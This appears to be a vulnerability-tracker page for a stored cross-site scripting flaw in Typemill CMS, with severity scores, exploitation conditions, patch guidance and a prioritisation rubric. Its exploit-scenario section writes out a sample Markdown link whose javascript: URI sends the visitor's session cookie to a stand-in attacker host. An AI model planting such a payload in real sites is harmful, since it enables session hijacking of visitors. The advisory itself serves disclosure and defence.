Skip to main content

Typemill CMS EUVDEUVD-2026-55793

| CVE-2026-44401 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-10 VulnCheck GHSA-8vfw-vh7q-p649
4.6
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker acquires theme-configuration credentials
  2. Delivery
    Craft javascript: URI Markdown link
  3. Exploit
    Store payload in CMS content area
  4. Install
    Victim visits page containing injected link
  5. C2
    Victim clicks rendered anchor tag
  6. Execute
    Browser executes JavaScript payload
  7. Impact
    Session cookie or credentials exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated account with theme-configuration access in Typemill CMS - a high-privilege administrative role, confirmed by PR:H in the CVSS 4.0 vector. The attacker must have write access to content fields rendered through ParsedownExtension.php or TwigMarkdownExtension.php. Secondary exploitation of the stored payload additionally requires a victim site visitor to actively click the injected Markdown-rendered anchor link (UI:A per CVSS). Exploitation is concretely limited by: (1) the requirement for a high-privilege Typemill session to inject the payload, excluding unauthenticated or low-privilege attackers entirely; (2) mandatory victim click interaction, meaning passive page-load does not trigger the payload; and (3) Content Security Policy headers, if deployed, which can block javascript: URI execution in compliant browsers. The highest-risk deployment is one where theme-configuration access is granted to multiple users of varying trust levels rather than restricted to a single site owner.

Impact

The CVSS 4.0 score of 4.6 with vector AV:N/AC:L/AT:N/PR:H/UI:A accurately reflects a constrained attack surface: exploitation requires a high-privilege authenticated session (theme-configuration access) and mandates that a victim actively click the rendered link. PR:H is the primary risk limiter - this is not a mass-exploitation candidate achievable by unauthenticated or low-privilege users. The stored nature of the XSS, however, is an aggravating factor beyond what the score alone conveys: once injected, the payload fires against all future visitors without additional attacker interaction, providing persistent impact with no ongoing attacker presence. No EPSS data was provided; given the high privilege prerequisite and required user interaction, opportunistic or automated exploitation is unlikely. The absence of a KEV listing and public POC further supports a low-urgency posture for most organizations. The primary realistic risk scenario is a multi-tenant or low-trust deployment where non-owner users are granted theme-configuration access - a configuration that amplifies the trust boundary issue. The CVSS VC:N metric is technically consistent with server-side scope, but defenders should note that browser-side session data (cookies) and credentials are at risk, which the description confirms.

Exploit ScenarioDerived

An attacker who has obtained theme-configuration credentials - through credential stuffing, phishing, or insider access - navigates to a Markdown-editable content area and saves a link such as [Read More](javascript:fetch('https://attacker.example/?c='+document.cookie)), embedding the payload in persistent CMS storage. Every subsequent site visitor who clicks the rendered link triggers exfiltration of their session cookie to the attacker-controlled endpoint, enabling session hijacking without any further attacker interaction. No public exploit code has been identified, but the attack technique requires only basic knowledge of the javascript: URI scheme and is trivially reproducible.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

Persistent XSS in Typemill CMS 2.x enables authenticated users holding theme-configuration access to store malicious JavaScript URI payloads via Markdown link syntax, which execute in victim browsers upon link click. The vulnerability exists in ParsedownExtension.php and TwigMarkdownExtension.php, where href values in Markdown links are rendered into HTML anchor tags without filtering the javascript: URI scheme, resulting in stored payloads that persist across all page loads. Successful exploitation delivers session cookie theft, authenticated request forgery, and credential harvesting against every visitor who clicks an injected link. No public exploit code or CISA KEV listing has been identified at time of analysis.

RemediationAI

Upgrade Typemill CMS to version 2.23.0 or later, which contains the vendor-released patch resolving the javascript: URI injection in Markdown link processing; the release is available at https://github.com/typemill/typemill/releases/tag/2.23.0. If immediate upgrade is not feasible, restrict theme-configuration access exclusively to fully trusted, vetted administrative accounts - since the vulnerability is gated on that privilege level, eliminating untrusted access to that role eliminates the attack path. As an additional compensating control, deploying a Content Security Policy header with a restrictive default-src or script-src directive (e.g., script-src 'self') can cause modern browsers to block javascript: URI execution, though this does not remove the stored payload and may interfere with legitimate site JavaScript. Administrators should audit existing Markdown content for links containing the javascript: scheme as part of post-patch remediation, as prior exploitation would leave persistent payloads in place until removed or overwritten.

Affected VersionsENISA

typemill 2.0.0 ≤2.23.0

Affected Packages

euvd typemill no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Typemill is a PHP flat-file CMS that delegates content rendering to Markdown parser extensions built atop the Parsedown library. Two extension files - ParsedownExtension.php and TwigMarkdownExtension.php - process Markdown link syntax ([text](href)) and emit HTML anchor tags. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): neither extension validates the URI scheme of href values before embedding them in output HTML, allowing the javascript: scheme to survive into rendered page markup as a stored payload. Because the payload is stored server-side in flat files rather than reflected in a single request, it executes in every victim browser that encounters and clicks the injected anchor, multiplying impact beyond the moment of injection. Affected product per CPE: cpe:2.3:a:typemill:typemill:*:*:*:*:*:*:*:* - all 2.x versions prior to 2.23.0.

Know when Typemill gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 4.6 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L
vuln.today AI 4.8 MEDIUM

High-privilege auth and victim click required; scope changes to victim browser enabling cookie theft, so S:C with C:L/I:L and no server-side availability impact.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

DescriptionCVE.org

Typemill CMS version 2.x contains a persistent cross-site scripting vulnerability in the Markdown parser extension that allows authenticated users with theme-configuration access to inject malicious JavaScript URIs by supplying unsanitized href values in Markdown links. Attackers can craft Markdown links using the javascript: scheme through ParsedownExtension.php or TwigMarkdownExtension.php, storing a persistent payload that executes in the browser of every visitor who clicks the link, enabling session cookie theft, authenticated request forgery, and credential harvesting.

Threat Intelligence Overview

EPSS Score
0.2%
Top 87% exploitable
Prevalence
Low
niche PHP flat-file CMS, limited enterprise adoption
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

23
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +23
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy